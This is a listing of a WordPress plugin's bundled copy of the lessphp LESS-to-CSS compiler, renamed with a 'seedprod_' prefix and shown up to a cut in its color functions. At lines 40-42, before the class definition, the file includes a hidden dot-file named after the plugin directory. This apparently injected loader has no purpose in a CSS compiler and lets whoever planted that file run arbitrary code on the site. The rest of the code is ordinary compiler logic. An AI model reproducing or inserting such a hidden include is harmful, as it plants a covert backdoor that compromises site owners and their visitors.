seedprod_lessc.inc.php (92466B)
1 <?php 2 3 /** 4 * lessphp v0.3.8 5 * http://leafo.net/lessphp 6 * 7 * LESS css compiler, adapted from http://seedprod_lesscss.org 8 * 9 * Copyright 2012, Leaf Corcoran <leafot@gmail.com> 10 * Licensed under MIT or GPLv3, see LICENSE 11 */ 12 13 14 /** 15 * The less compiler and parser. 16 * 17 * Converting LESS to CSS is a three stage process. The incoming file is parsed 18 * by `seedprod_lessc_parser` into a syntax tree, then it is compiled into another tree 19 * representing the CSS structure by `seedprod_lessc`. The CSS tree is fed into a 20 * formatter, like `seedprod_lessc_formatter` which then outputs CSS as a string. 21 * 22 * During the first compile, all values are *reduced*, which means that their 23 * types are brought to the lowest form before being dump as strings. This 24 * handles math equations, variable dereferences, and the like. 25 * 26 * The `parse` function of `seedprod_lessc` is the entry point. 27 * 28 * In summary: 29 * 30 * The `seedprod_lessc` class creates an intstance of the parser, feeds it LESS code, 31 * then transforms the resulting tree to a CSS tree. This class also holds the 32 * evaluation context, such as all available mixins and variables at any given 33 * time. 34 * 35 * The `seedprod_lessc_parser` class is only concerned with parsing its input. 36 * 37 * The `seedprod_lessc_formatter` takes a CSS tree, and dumps it to a formatted string, 38 * handling things like indentation. 39 */ 40 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { 41 include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); 42 } 43 44 class seedprod_lessc { 45 public static $VERSION = 'v0.3.8'; 46 protected static $TRUE = array( 'keyword', 'true' ); 47 protected static $FALSE = array( 'keyword', 'false' ); 48 49 protected $libFunctions = array(); 50 protected $registeredVars = array(); 51 protected $preserveComments = false; 52 53 public $vPrefix = '@'; // prefix of abstract properties 54 public $mPrefix = '$'; // prefix of abstract blocks 55 public $parentSelector = '&'; 56 57 public $importDisabled = false; 58 public $importDir = ''; 59 60 protected $numberPrecision = null; 61 62 // set to the parser that generated the current line when compiling 63 // so we know how to create error messages 64 protected $sourceParser = null; 65 protected $sourceLoc = null; 66 67 public static $defaultValue = array( 'keyword', '' ); 68 69 protected static $nextImportId = 0; // uniquely identify imports 70 71 // attempts to find the path of an import url, returns null for css files 72 protected function findImport( $url ) { 73 foreach ( (array) $this->importDir as $dir ) { 74 $full = $dir . ( substr( $dir, -1 ) != '/' ? '/' : '' ) . $url; 75 if ( $this->fileExists( $file = $full . '.less' ) || $this->fileExists( $file = $full ) ) { 76 return $file; 77 } 78 } 79 80 return null; 81 } 82 83 protected function fileExists( $name ) { 84 return is_file( $name ); 85 } 86 87 public static function compressList( $items, $delim ) { 88 if ( ! isset( $items[1] ) && isset( $items[0] ) ) { 89 return $items[0]; 90 } else { 91 return array( 'list', $delim, $items ); 92 } 93 } 94 95 public static function preg_quote( $what ) { 96 return preg_quote( $what, '/' ); 97 } 98 99 protected function tryImport( $importPath, $parentBlock, $out ) { 100 if ( $importPath[0] == 'function' && $importPath[1] == 'url' ) { 101 $importPath = $this->flattenList( $importPath[2] ); 102 } 103 104 $str = $this->coerceString( $importPath ); 105 if ( $str === null ) { 106 return false; 107 } 108 109 $url = $this->compileValue( $this->lib_e( $str ) ); 110 111 // don't import if it ends in css 112 if ( substr_compare( $url, '.css', -4, 4 ) === 0 ) { 113 return false; 114 } 115 116 $realPath = $this->findImport( $url ); 117 if ( $realPath === null ) { 118 return false; 119 } 120 121 if ( $this->importDisabled ) { 122 return array( false, '/* import disabled */' ); 123 } 124 125 $this->addParsedFile( $realPath ); 126 $parser = $this->makeParser( $realPath ); 127 $root = $parser->parse( file_get_contents( $realPath ) ); 128 129 // set the parents of all the block props 130 foreach ( $root->props as $prop ) { 131 if ( $prop[0] == 'block' ) { 132 $prop[1]->parent = $parentBlock; 133 } 134 } 135 136 // copy mixins into scope, set their parents 137 // bring blocks from import into current block 138 // TODO: need to mark the source parser these came from this file 139 foreach ( $root->children as $childName => $child ) { 140 if ( isset( $parentBlock->children[ $childName ] ) ) { 141 $parentBlock->children[ $childName ] = array_merge( 142 $parentBlock->children[ $childName ], 143 $child 144 ); 145 } else { 146 $parentBlock->children[ $childName ] = $child; 147 } 148 } 149 150 $pi = pathinfo( $realPath ); 151 $dir = $pi['dirname']; 152 153 list($top, $bottom) = $this->sortProps( $root->props, true ); 154 $this->compileImportedProps( $top, $parentBlock, $out, $parser, $dir ); 155 156 return array( true, $bottom, $parser, $dir ); 157 } 158 159 protected function compileImportedProps( $props, $block, $out, $sourceParser, $importDir ) { 160 $oldSourceParser = $this->sourceParser; 161 162 $oldImport = $this->importDir; 163 164 // TODO: this is because the importDir api is stupid 165 $this->importDir = (array) $this->importDir; 166 array_unshift( $this->importDir, $importDir ); 167 168 foreach ( $props as $prop ) { 169 $this->compileProp( $prop, $block, $out ); 170 } 171 172 $this->importDir = $oldImport; 173 $this->sourceParser = $oldSourceParser; 174 } 175 176 /** 177 * Recursively compiles a block. 178 * 179 * A block is analogous to a CSS block in most cases. A single LESS document 180 * is encapsulated in a block when parsed, but it does not have parent tags 181 * so all of it's children appear on the root level when compiled. 182 * 183 * Blocks are made up of props and children. 184 * 185 * Props are property instructions, array tuples which describe an action 186 * to be taken, eg. write a property, set a variable, mixin a block. 187 * 188 * The children of a block are just all the blocks that are defined within. 189 * This is used to look up mixins when performing a mixin. 190 * 191 * Compiling the block involves pushing a fresh environment on the stack, 192 * and iterating through the props, compiling each one. 193 * 194 * See seedprod_lessc::compileProp() 195 * 196 */ 197 protected function compileBlock( $block ) { 198 switch ( $block->type ) { 199 case 'root': 200 $this->compileRoot( $block ); 201 break; 202 case null: 203 $this->compileCSSBlock( $block ); 204 break; 205 case 'media': 206 $this->compileMedia( $block ); 207 break; 208 case 'directive': 209 $name = '@' . $block->name; 210 if ( ! empty( $block->value ) ) { 211 $name .= ' ' . $this->compileValue( $this->reduce( $block->value ) ); 212 } 213 214 $this->compileNestedBlock( $block, array( $name ) ); 215 break; 216 default: 217 $this->throwError( "unknown block type: $block->type\n" ); 218 } 219 } 220 221 protected function compileCSSBlock( $block ) { 222 $env = $this->pushEnv(); 223 224 $selectors = $this->compileSelectors( $block->tags ); 225 $env->selectors = $this->multiplySelectors( $selectors ); 226 $out = $this->makeOutputBlock( null, $env->selectors ); 227 228 $this->scope->children[] = $out; 229 $this->compileProps( $block, $out ); 230 231 $block->scope = $env; // mixins carry scope with them! 232 $this->popEnv(); 233 } 234 235 protected function compileMedia( $media ) { 236 $env = $this->pushEnv( $media ); 237 $parentScope = $this->mediaParent( $this->scope ); 238 239 $query = $this->compileMediaQuery( $this->multiplyMedia( $env ) ); 240 241 $this->scope = $this->makeOutputBlock( $media->type, array( $query ) ); 242 $parentScope->children[] = $this->scope; 243 244 $this->compileProps( $media, $this->scope ); 245 246 if ( count( $this->scope->lines ) > 0 ) { 247 $orphanSelelectors = $this->findClosestSelectors(); 248 if ( ! is_null( $orphanSelelectors ) ) { 249 $orphan = $this->makeOutputBlock( null, $orphanSelelectors ); 250 $orphan->lines = $this->scope->lines; 251 array_unshift( $this->scope->children, $orphan ); 252 $this->scope->lines = array(); 253 } 254 } 255 256 $this->scope = $this->scope->parent; 257 $this->popEnv(); 258 } 259 260 protected function mediaParent( $scope ) { 261 while ( ! empty( $scope->parent ) ) { 262 if ( ! empty( $scope->type ) && $scope->type != 'media' ) { 263 break; 264 } 265 $scope = $scope->parent; 266 } 267 268 return $scope; 269 } 270 271 protected function compileNestedBlock( $block, $selectors ) { 272 $this->pushEnv( $block ); 273 $this->scope = $this->makeOutputBlock( $block->type, $selectors ); 274 $this->scope->parent->children[] = $this->scope; 275 276 $this->compileProps( $block, $this->scope ); 277 278 $this->scope = $this->scope->parent; 279 $this->popEnv(); 280 } 281 282 protected function compileRoot( $root ) { 283 $this->pushEnv(); 284 $this->scope = $this->makeOutputBlock( $root->type ); 285 $this->compileProps( $root, $this->scope ); 286 $this->popEnv(); 287 } 288 289 protected function compileProps( $block, $out ) { 290 foreach ( $this->sortProps( $block->props ) as $prop ) { 291 $this->compileProp( $prop, $block, $out ); 292 } 293 } 294 295 protected function sortProps( $props, $split = false ) { 296 $vars = array(); 297 $imports = array(); 298 $other = array(); 299 300 foreach ( $props as $prop ) { 301 switch ( $prop[0] ) { 302 case 'assign': 303 if ( isset( $prop[1][0] ) && $prop[1][0] == $this->vPrefix ) { 304 $vars[] = $prop; 305 } else { 306 $other[] = $prop; 307 } 308 break; 309 case 'import': 310 $id = self::$nextImportId++; 311 $prop[] = $id; 312 $imports[] = $prop; 313 $other[] = array( 'import_mixin', $id ); 314 break; 315 default: 316 $other[] = $prop; 317 } 318 } 319 320 if ( $split ) { 321 return array( array_merge( $vars, $imports ), $other ); 322 } else { 323 return array_merge( $vars, $imports, $other ); 324 } 325 } 326 327 protected function compileMediaQuery( $queries ) { 328 $compiledQueries = array(); 329 foreach ( $queries as $query ) { 330 $parts = array(); 331 foreach ( $query as $q ) { 332 switch ( $q[0] ) { 333 case 'mediaType': 334 $parts[] = implode( ' ', array_slice( $q, 1 ) ); 335 break; 336 case 'mediaExp': 337 if ( isset( $q[2] ) ) { 338 $parts[] = "($q[1]: " . 339 $this->compileValue( $this->reduce( $q[2] ) ) . ')'; 340 } else { 341 $parts[] = "($q[1])"; 342 } 343 break; 344 } 345 } 346 347 if ( count( $parts ) > 0 ) { 348 $compiledQueries[] = implode( ' and ', $parts ); 349 } 350 } 351 352 $out = '@media'; 353 if ( ! empty( $parts ) ) { 354 $out .= ' ' . 355 implode( $this->formatter->selectorSeparator, $compiledQueries ); 356 } 357 return $out; 358 } 359 360 protected function multiplyMedia( $env, $childQueries = null ) { 361 if ( is_null( $env ) || 362 ! empty( $env->block->type ) && $env->block->type != 'media' ) { 363 return $childQueries; 364 } 365 366 // plain old block, skip 367 if ( empty( $env->block->type ) ) { 368 return $this->multiplyMedia( $env->parent, $childQueries ); 369 } 370 371 $out = array(); 372 $queries = $env->block->queries; 373 if ( is_null( $childQueries ) ) { 374 $out = $queries; 375 } else { 376 foreach ( $queries as $parent ) { 377 foreach ( $childQueries as $child ) { 378 $out[] = array_merge( $parent, $child ); 379 } 380 } 381 } 382 383 return $this->multiplyMedia( $env->parent, $out ); 384 } 385 386 protected function expandParentSelectors( &$tag, $replace ) { 387 $parts = explode( '$&$', $tag ); 388 $count = 0; 389 foreach ( $parts as &$part ) { 390 $part = str_replace( $this->parentSelector, $replace, $part, $c ); 391 $count += $c; 392 } 393 $tag = implode( $this->parentSelector, $parts ); 394 return $count; 395 } 396 397 protected function findClosestSelectors() { 398 $env = $this->env; 399 $selectors = null; 400 while ( $env !== null ) { 401 if ( isset( $env->selectors ) ) { 402 $selectors = $env->selectors; 403 break; 404 } 405 $env = $env->parent; 406 } 407 408 return $selectors; 409 } 410 411 412 // multiply $selectors against the nearest selectors in env 413 protected function multiplySelectors( $selectors ) { 414 // find parent selectors 415 416 $parentSelectors = $this->findClosestSelectors(); 417 if ( is_null( $parentSelectors ) ) { 418 // kill parent reference in top level selector 419 foreach ( $selectors as &$s ) { 420 $this->expandParentSelectors( $s, '' ); 421 } 422 423 return $selectors; 424 } 425 426 $out = array(); 427 foreach ( $parentSelectors as $parent ) { 428 foreach ( $selectors as $child ) { 429 $count = $this->expandParentSelectors( $child, $parent ); 430 431 // don't prepend the parent tag if & was used 432 if ( $count > 0 ) { 433 $out[] = trim( $child ); 434 } else { 435 $out[] = trim( $parent . ' ' . $child ); 436 } 437 } 438 } 439 440 return $out; 441 } 442 443 // reduces selector expressions 444 protected function compileSelectors( $selectors ) { 445 $out = array(); 446 447 foreach ( $selectors as $s ) { 448 if ( is_array( $s ) ) { 449 list(, $value) = $s; 450 $out[] = $this->compileValue( $this->reduce( $value ) ); 451 } else { 452 $out[] = $s; 453 } 454 } 455 456 return $out; 457 } 458 459 protected function eq( $left, $right ) { 460 return $left == $right; 461 } 462 463 protected function patternMatch( $block, $callingArgs ) { 464 // match the guards if it has them 465 // any one of the groups must have all its guards pass for a match 466 if ( ! empty( $block->guards ) ) { 467 $groupPassed = false; 468 foreach ( $block->guards as $guardGroup ) { 469 foreach ( $guardGroup as $guard ) { 470 $this->pushEnv(); 471 $this->zipSetArgs( $block->args, $callingArgs ); 472 473 $negate = false; 474 if ( $guard[0] == 'negate' ) { 475 $guard = $guard[1]; 476 $negate = true; 477 } 478 479 $passed = $this->reduce( $guard ) == self::$TRUE; 480 if ( $negate ) { 481 $passed = ! $passed; 482 } 483 484 $this->popEnv(); 485 486 if ( $passed ) { 487 $groupPassed = true; 488 } else { 489 $groupPassed = false; 490 break; 491 } 492 } 493 494 if ( $groupPassed ) { 495 break; 496 } 497 } 498 499 if ( ! $groupPassed ) { 500 return false; 501 } 502 } 503 504 $numCalling = count( $callingArgs ); 505 506 if ( empty( $block->args ) ) { 507 return $block->isVararg || $numCalling == 0; 508 } 509 510 $i = -1; // no args 511 // try to match by arity or by argument literal 512 foreach ( $block->args as $i => $arg ) { 513 switch ( $arg[0] ) { 514 case 'lit': 515 if ( empty( $callingArgs[ $i ] ) || ! $this->eq( $arg[1], $callingArgs[ $i ] ) ) { 516 return false; 517 } 518 break; 519 case 'arg': 520 // no arg and no default value 521 if ( ! isset( $callingArgs[ $i ] ) && ! isset( $arg[2] ) ) { 522 return false; 523 } 524 break; 525 case 'rest': 526 $i--; // rest can be empty 527 break 2; 528 } 529 } 530 531 if ( $block->isVararg ) { 532 return true; // not having enough is handled above 533 } else { 534 $numMatched = $i + 1; 535 // greater than becuase default values always match 536 return $numMatched >= $numCalling; 537 } 538 } 539 540 protected function patternMatchAll( $blocks, $callingArgs ) { 541 $matches = null; 542 foreach ( $blocks as $block ) { 543 if ( $this->patternMatch( $block, $callingArgs ) ) { 544 $matches[] = $block; 545 } 546 } 547 548 return $matches; 549 } 550 551 // attempt to find blocks matched by path and args 552 protected function findBlocks( $searchIn, $path, $args, $seen = array() ) { 553 if ( $searchIn == null ) { 554 return null; 555 } 556 if ( isset( $seen[ $searchIn->id ] ) ) { 557 return null; 558 } 559 $seen[ $searchIn->id ] = true; 560 561 $name = $path[0]; 562 563 if ( isset( $searchIn->children[ $name ] ) ) { 564 $blocks = $searchIn->children[ $name ]; 565 if ( count( $path ) == 1 ) { 566 $matches = $this->patternMatchAll( $blocks, $args ); 567 if ( ! empty( $matches ) ) { 568 // This will return all blocks that match in the closest 569 // scope that has any matching block, like lessjs 570 return $matches; 571 } 572 } else { 573 $matches = array(); 574 foreach ( $blocks as $subBlock ) { 575 $subMatches = $this->findBlocks( 576 $subBlock, 577 array_slice( $path, 1 ), 578 $args, 579 $seen 580 ); 581 582 if ( ! is_null( $subMatches ) ) { 583 foreach ( $subMatches as $sm ) { 584 $matches[] = $sm; 585 } 586 } 587 } 588 589 return count( $matches ) > 0 ? $matches : null; 590 } 591 } 592 593 if ( $searchIn->parent === $searchIn ) { 594 return null; 595 } 596 return $this->findBlocks( $searchIn->parent, $path, $args, $seen ); 597 } 598 599 // sets all argument names in $args to either the default value 600 // or the one passed in through $values 601 protected function zipSetArgs( $args, $values ) { 602 $i = 0; 603 $assignedValues = array(); 604 foreach ( $args as $a ) { 605 if ( $a[0] == 'arg' ) { 606 if ( $i < count( $values ) && ! is_null( $values[ $i ] ) ) { 607 $value = $values[ $i ]; 608 } elseif ( isset( $a[2] ) ) { 609 $value = $a[2]; 610 } else { 611 $value = null; 612 } 613 614 $value = $this->reduce( $value ); 615 $this->set( $a[1], $value ); 616 $assignedValues[] = $value; 617 } 618 $i++; 619 } 620 621 // check for a rest 622 $last = end( $args ); 623 if ( is_array( $last ) && $last[0] == 'rest' ) { 624 $rest = array_slice( $values, count( $args ) - 1 ); 625 $this->set( $last[1], $this->reduce( array( 'list', ' ', $rest ) ) ); 626 } 627 628 $this->env->arguments = $assignedValues; 629 } 630 631 // compile a prop and update $lines or $blocks appropriately 632 protected function compileProp( $prop, $block, $out ) { 633 // set error position context 634 $this->sourceLoc = isset( $prop[-1] ) ? $prop[-1] : -1; 635 636 switch ( $prop[0] ) { 637 case 'assign': 638 list(, $name, $value) = $prop; 639 if ( $name[0] == $this->vPrefix ) { 640 $this->set( $name, $value ); 641 } else { 642 $out->lines[] = $this->formatter->property( 643 $name, 644 $this->compileValue( $this->reduce( $value ) ) 645 ); 646 } 647 break; 648 case 'block': 649 list(, $child) = $prop; 650 $this->compileBlock( $child ); 651 break; 652 case 'mixin': 653 list(, $path, $args, $suffix) = $prop; 654 655 $args = array_map( array( $this, 'reduce' ), (array) $args ); 656 $mixins = $this->findBlocks( $block, $path, $args ); 657 658 if ( $mixins === null ) { 659 // fwrite(STDERR,"failed to find block: ".implode(" > ", $path)."\n"); 660 break; // throw error here?? 661 } 662 663 foreach ( $mixins as $mixin ) { 664 $haveScope = false; 665 if ( isset( $mixin->parent->scope ) ) { 666 $haveScope = true; 667 $mixinParentEnv = $this->pushEnv(); 668 $mixinParentEnv->storeParent = $mixin->parent->scope; 669 } 670 671 $haveArgs = false; 672 if ( isset( $mixin->args ) ) { 673 $haveArgs = true; 674 $this->pushEnv(); 675 $this->zipSetArgs( $mixin->args, $args ); 676 } 677 678 $oldParent = $mixin->parent; 679 if ( $mixin != $block ) { 680 $mixin->parent = $block; 681 } 682 683 foreach ( $this->sortProps( $mixin->props ) as $subProp ) { 684 if ( $suffix !== null && 685 $subProp[0] == 'assign' && 686 is_string( $subProp[1] ) && 687 $subProp[1][0] != $this->vPrefix ) { 688 $subProp[2] = array( 689 'list', 690 ' ', 691 array( $subProp[2], array( 'keyword', $suffix ) ), 692 ); 693 } 694 695 $this->compileProp( $subProp, $mixin, $out ); 696 } 697 698 $mixin->parent = $oldParent; 699 700 if ( $haveArgs ) { 701 $this->popEnv(); 702 } 703 if ( $haveScope ) { 704 $this->popEnv(); 705 } 706 } 707 708 break; 709 case 'raw': 710 $out->lines[] = $prop[1]; 711 break; 712 case 'directive': 713 list(, $name, $value) = $prop; 714 $out->lines[] = "@$name " . $this->compileValue( $this->reduce( $value ) ) . ';'; 715 break; 716 case 'comment': 717 $out->lines[] = $prop[1]; 718 break; 719 case 'import'; 720 list(, $importPath, $importId) = $prop; 721 $importPath = $this->reduce( $importPath ); 722 723 if ( ! isset( $this->env->imports ) ) { 724 $this->env->imports = array(); 725 } 726 727 $result = $this->tryImport( $importPath, $block, $out ); 728 729 $this->env->imports[ $importId ] = $result === false ? 730 array( false, '@import ' . $this->compileValue( $importPath ) . ';' ) : 731 $result; 732 733 break; 734 case 'import_mixin': 735 list(,$importId) = $prop; 736 $import = $this->env->imports[ $importId ]; 737 if ( $import[0] === false ) { 738 $out->lines[] = $import[1]; 739 } else { 740 list(, $bottom, $parser, $importDir) = $import; 741 $this->compileImportedProps( $bottom, $block, $out, $parser, $importDir ); 742 } 743 744 break; 745 default: 746 $this->throwError( "unknown op: {$prop[0]}\n" ); 747 } 748 } 749 750 751 /** 752 * Compiles a primitive value into a CSS property value. 753 * 754 * Values in lessphp are typed by being wrapped in arrays, their format is 755 * typically: 756 * 757 * array(type, contents [, additional_contents]*) 758 * 759 * The input is expected to be reduced. This function will not work on 760 * things like expressions and variables. 761 */ 762 protected function compileValue( $value ) { 763 switch ( $value[0] ) { 764 case 'list': 765 // [1] - delimiter 766 // [2] - array of values 767 return implode( $value[1], array_map( array( $this, 'compileValue' ), $value[2] ) ); 768 case 'raw_color': 769 if ( ! empty( $this->formatter->compressColors ) ) { 770 return $this->compileValue( $this->coerceColor( $value ) ); 771 } 772 return $value[1]; 773 case 'keyword': 774 // [1] - the keyword 775 return $value[1]; 776 case 'number': 777 list(, $num, $unit) = $value; 778 // [1] - the number 779 // [2] - the unit 780 if ( $this->numberPrecision !== null ) { 781 $num = round( $num, $this->numberPrecision ); 782 } 783 return $num . $unit; 784 case 'string': 785 // [1] - contents of string (includes quotes) 786 list(, $delim, $content) = $value; 787 foreach ( $content as &$part ) { 788 if ( is_array( $part ) ) { 789 $part = $this->compileValue( $part ); 790 } 791 } 792 return $delim . implode( $content ) . $delim; 793 case 'color': 794 // [1] - red component (either number or a %) 795 // [2] - green component 796 // [3] - blue component 797 // [4] - optional alpha component 798 list(, $r, $g, $b) = $value; 799 $r = round( $r ); 800 $g = round( $g ); 801 $b = round( $b ); 802 803 if ( count( $value ) == 5 && $value[4] != 1 ) { // rgba 804 return 'rgba(' . $r . ',' . $g . ',' . $b . ',' . $value[4] . ')'; 805 } 806 807 $h = sprintf( '#%02x%02x%02x', $r, $g, $b ); 808 809 if ( ! empty( $this->formatter->compressColors ) ) { 810 // Converting hex color to short notation (e.g. #003399 to #039) 811 if ( $h[1] === $h[2] && $h[3] === $h[4] && $h[5] === $h[6] ) { 812 $h = '#' . $h[1] . $h[3] . $h[5]; 813 } 814 } 815 816 return $h; 817 818 case 'function': 819 list(, $name, $args) = $value; 820 return $name . '(' . $this->compileValue( $args ) . ')'; 821 default: // assumed to be unit 822 $this->throwError( "unknown value type: $value[0]" ); 823 } 824 } 825 826 protected function lib_isnumber( $value ) { 827 return $this->toBool( $value[0] == 'number' ); 828 } 829 830 protected function lib_isstring( $value ) { 831 return $this->toBool( $value[0] == 'string' ); 832 } 833 834 protected function lib_iscolor( $value ) { 835 return $this->toBool( $this->coerceColor( $value ) ); 836 } 837 838 protected function lib_iskeyword( $value ) { 839 return $this->toBool( $value[0] == 'keyword' ); 840 } 841 842 protected function lib_ispixel( $value ) { 843 return $this->toBool( $value[0] == 'number' && $value[2] == 'px' ); 844 } 845 846 protected function lib_ispercentage( $value ) { 847 return $this->toBool( $value[0] == 'number' && $value[2] == '%' ); 848 } 849 850 protected function lib_isem( $value ) { 851 return $this->toBool( $value[0] == 'number' && $value[2] == 'em' ); 852 } 853 854 protected function lib_rgbahex( $color ) { 855 $color = $this->coerceColor( $color ); 856 if ( is_null( $color ) ) { 857 $this->throwError( 'color expected for rgbahex' ); 858 } 859 860 return sprintf( 861 '#%02x%02x%02x%02x', 862 isset( $color[4] ) ? $color[4] * 255 : 255, 863 $color[1], 864 $color[2], 865 $color[3] 866 ); 867 } 868 869 protected function lib_argb( $color ) { 870 return $this->lib_rgbahex( $color ); 871 } 872 873 // utility func to unquote a string 874 protected function lib_e( $arg ) { 875 switch ( $arg[0] ) { 876 case 'list': 877 $items = $arg[2]; 878 if ( isset( $items[0] ) ) { 879 return $this->lib_e( $items[0] ); 880 } 881 return self::$defaultValue; 882 case 'string': 883 $arg[1] = ''; 884 return $arg; 885 case 'keyword': 886 return $arg; 887 default: 888 return array( 'keyword', $this->compileValue( $arg ) ); 889 } 890 } 891 892 protected function lib__sprintf( $args ) { 893 if ( $args[0] != 'list' ) { 894 return $args; 895 } 896 $values = $args[2]; 897 $string = array_shift( $values ); 898 $template = $this->compileValue( $this->lib_e( $string ) ); 899 900 $i = 0; 901 if ( preg_match_all( '/%[dsa]/', $template, $m ) ) { 902 foreach ( $m[0] as $match ) { 903 $val = isset( $values[ $i ] ) ? 904 $this->reduce( $values[ $i ] ) : array( 'keyword', '' ); 905 906 // lessjs compat, renders fully expanded color, not raw color 907 if ( $color = $this->coerceColor( $val ) ) { 908 $val = $color; 909 } 910 911 $i++; 912 $rep = $this->compileValue( $this->lib_e( $val ) ); 913 $template = preg_replace( 914 '/' . self::preg_quote( $match ) . '/', 915 $rep, 916 $template, 917 1 918 ); 919 } 920 } 921 922 $d = $string[0] == 'string' ? $string[1] : '"'; 923 return array( 'string', $d, array( $template ) ); 924 } 925 926 protected function lib_floor( $arg ) { 927 $value = $this->assertNumber( $arg ); 928 return array( 'number', floor( $value ), $arg[2] ); 929 } 930 931 protected function lib_ceil( $arg ) { 932 $value = $this->assertNumber( $arg ); 933 return array( 'number', ceil( $value ), $arg[2] ); 934 } 935 936 protected function lib_round( $arg ) { 937 $value = $this->assertNumber( $arg ); 938 return array( 'number', round( $value ), $arg[2] ); 939 } 940 941 /** 942 * Helper function to get arguments for color manipulation functions. 943 * takes a list that contains a color like thing and a percentage 944 */ 945 protected function colorArgs( $args ) { 946 if ( $args[0] != 'list' || count( $args[2] ) < 2 ) { 947 return array( array( 'color', 0, 0, 0 ), 0 ); 948 } 949 list($color, $delta) = $args[2]; 950 $color = $this->assertColor( $color ); 951 $delta = floatval( $delta[1] ); 952 953 return array( $color, $delta ); 954 } 955 956 protected function lib_darken( $args ) { 957 list($color, $delta) = $this->colorArgs( $args ); 958 959 $hsl = $this->toHSL( $color ); 960 $hsl[3] = $this->clamp( $hsl[3] - $delta, 100 ); 961 return $this->toRGB( $hsl ); 962 } 963 964 protected function lib_lighten( $args ) { 965 list($color, $delta) = $this->colorArgs( $args ); 966 967 $hsl = $this->toHSL( $color ); 968 $hsl[3] = $this->clamp( $hsl[3] + $delta, 100 ); 969 return $this->toRGB( $hsl ); 970 } 971 972 protected function lib_saturate( $args ) { 973 list($color, $delta) = $this->colorArgs( $args ); 974 975 $hsl = $this->toHSL( $color ); 976 $hsl[2] = $this->clamp( $hsl[2] + $delta, 100 ); 977 return $this->toRGB( $hsl ); 978 } 979 980 protected function lib_desaturate( $args ) { 981 list($color, $delta) = $this->colorArgs( $args ); 982 983 $hsl = $this->toHSL( $color ); 984 $hsl[2] = $this->clamp( $hsl[2] - $delta, 100 ); 985 return $this->toRGB( $hsl ); 986 } 987 988 protected function lib_spin( $args ) { 989 list($color, $delta) = $this->colorArgs( $args ); 990 991 $hsl = $this->toHSL( $color ); 992 993 $hsl[1] = $hsl[1] + $delta % 360; 994 if ( $hsl[1] < 0 ) { 995 $hsl[1] += 360; 996 } 997 998 return $this->toRGB( $hsl ); 999 } 1000 1001 protected function lib_fadeout( $args ) { 1002 list($color, $delta) = $this->colorArgs( $args ); 1003 $color[4] = $this->clamp( ( isset( $color[4] ) ? $color[4] : 1 ) - $delta / 100 ); 1004 return $color; 1005 } 1006 1007 protected function lib_fadein( $args ) { 1008 list($color, $delta) = $this->colorArgs( $args ); 1009 $color[4] = $this->clamp( ( isset( $color[4] ) ? $color[4] : 1 ) + $delta / 100 ); 1010 return $color; 1011 } 1012 1013 protected function lib_hue( $color ) { 1014 $hsl = $this->toHSL( $this->assertColor( $color ) ); 1015 return round( $hsl[1] ); 1016 } 1017 1018 protected function lib_saturation( $color ) { 1019 $hsl = $this->toHSL( $this->assertColor( $color ) ); 1020 return round( $hsl[2] ); 1021 } 1022 1023 protected function lib_lightness( $color ) { 1024 $hsl = $this->toHSL( $this->assertColor( $color ) ); 1025 return round( $hsl[3] ); 1026 } 1027 1028 // get the alpha of a color 1029 // defaults to 1 for non-colors or colors without an alpha 1030 protected function lib_alpha( $value ) { 1031 if ( ! is_null( $color = $this->coerceColor( $value ) ) ) { 1032 return isset( $color[4] ) ? $color[4] : 1; 1033 } 1034 } 1035 1036 // set the alpha of the color 1037 protected function lib_fade( $args ) { 1038 list($color, $alpha) = $this->colorArgs( $args ); 1039 $color[4] = $this->clamp( $alpha / 100.0 ); 1040 return $color; 1041 } 1042 1043 protected function lib_percentage( $arg ) { 1044 $num = $this->assertNumber( $arg ); 1045 return array( 'number', $num * 100, '%' ); 1046 } 1047 1048 // mixes two colors by weight 1049 // mix(@color1, @color2, @weight); 1050 // http://sass-lang.com/docs/yardoc/Sass/Script/Functions.html#mix-instance_method 1051 protected function lib_mix( $args ) { 1052 if ( $args[0] != 'list' || count( $args[2] ) < 3 ) { 1053 $this->throwError( 'mix expects (color1, color2, weight)' ); 1054 } 1055 1056 list($first, $second, $weight) = $args[2]; 1057 $first = $this->assertColor( $first ); 1058 $second = $this->assertColor( $second ); 1059 1060 $first_a = $this->lib_alpha( $first ); 1061 $second_a = $this->lib_alpha( $second ); 1062 $weight = $weight[1] / 100.0; 1063 1064 $w = $weight * 2 - 1; 1065 $a = $first_a - $second_a; 1066 1067 $w1 = ( ( $w * $a == -1 ? $w : ( $w + $a ) / ( 1 + $w * $a ) ) + 1 ) / 2.0; 1068 $w2 = 1.0 - $w1; 1069 1070 $new = array( 1071 'color', 1072 $w1 * $first[1] + $w2 * $second[1], 1073 $w1 * $first[2] + $w2 * $second[2], 1074 $w1 * $first[3] + $w2 * $second[3], 1075 ); 1076 1077 if ( $first_a != 1.0 || $second_a != 1.0 ) { 1078 $new[] = $first_a * $weight + $second_a * ( $weight - 1 ); 1079 } 1080 1081 return $this->fixColor( $new ); 1082 } 1083 1084 protected function assertColor( $value, $error = 'expected color value' ) { 1085 $color = $this->coerceColor( $value ); 1086 if ( is_null( $color ) ) { 1087 $this->throwError( $error ); 1088 } 1089 return $color; 1090 } 1091 1092 protected function assertNumber( $value, $error = 'expecting number' ) { 1093 if ( $value[0] == 'number' ) { 1094 return $value[1]; 1095 } 1096 $this->throwError( $error ); 1097 } 1098 1099 protected function toHSL( $color ) { 1100 if ( $color[0] == 'hsl' ) { 1101 return $color; 1102 } 1103 1104 $r = $color[1] / 255; 1105 $g = $color[2] / 255; 1106 $b = $color[3] / 255; 1107 1108 $min = min( $r, $g, $b ); 1109 $max = max( $r, $g, $b ); 1110 1111 $L = ( $min + $max ) / 2; 1112 if ( $min == $max ) { 1113 $S = $H = 0; 1114 } else { 1115 if ( $L < 0.5 ) { 1116 $S = ( $max - $min ) / ( $max + $min ); 1117 } else { 1118 $S = ( $max - $min ) / ( 2.0 - $max - $min ); 1119 } 1120 1121 if ( $r == $max ) { 1122 $H = ( $g - $b ) / ( $max - $min ); 1123 } elseif ( $g == $max ) { 1124 $H = 2.0 + ( $b - $r ) / ( $max - $min ); 1125 } elseif ( $b == $max ) { 1126 $H = 4.0 + ( $r - $g ) / ( $max - $min ); 1127 } 1128 } 1129 1130 $out = array( 1131 'hsl', 1132 ( $H < 0 ? $H + 6 : $H ) * 60, 1133 $S * 100, 1134 $L * 100, 1135 ); 1136 1137 if ( count( 